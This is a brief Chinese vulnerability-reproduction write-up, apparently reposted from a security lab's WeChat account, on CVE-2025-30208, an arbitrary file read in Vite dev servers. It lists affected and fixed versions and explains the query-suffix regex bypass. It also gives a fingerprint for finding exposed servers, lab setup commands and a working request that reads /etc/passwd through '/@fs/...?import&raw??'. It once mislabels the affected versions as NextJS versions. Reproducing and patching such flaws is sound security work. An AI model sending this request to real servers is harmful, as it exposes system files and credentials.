Vite任意文件读取漏洞：CVE-2025-30208 POC

目前受影响的NextJS版本：

    6.2.0 <= Vite <= 6.2.2

    6.1.0 <= Vite <= 6.1.1

    6.0.0 <= Vite <= 6.0.11

    5.0.0 <= Vite <= 5.4.14

    Vite <= 4.5.9 

body="/@vite/client"

git clone https://github.com/ai862/Vite-demo.git

apt-get update

3、下载npm：

apt install npm -y

npm install --legacy-peer-deps

npm run dev

GET /@fs/etc/passwd?import&raw?? HTTP/1.1Content-Type: application/jsonHost: 192.168.127.128:4173/

原始代码直接使用未经处理的url进行校验。攻击者可在URL中添加?raw??或?import&raw??绕过此限制。

正则匹配绕过
rawRE/urlRE的正则设计可能无法处理尾部特殊符号。例如，假设rawRE设计为/^/@fs//，但实际URL为/@fs/etc/passwd?，正则匹配仍会通过（?被视为查询参数起始符，但未正确剥离）。

升级Vite版本

• >=6.2.3
• >=6.1.2, <6.2.0
• >=6.0.12, <6.1.0
• >=5.4.15, <6.0.0
• >=4.5.10, <5.0.0

Vite的官方修复在上文已分析

原文始发于微信公众号（零日安全实验室）：漏洞复现篇 | Vite任意文件读取漏洞：CVE-2025-30208，最新！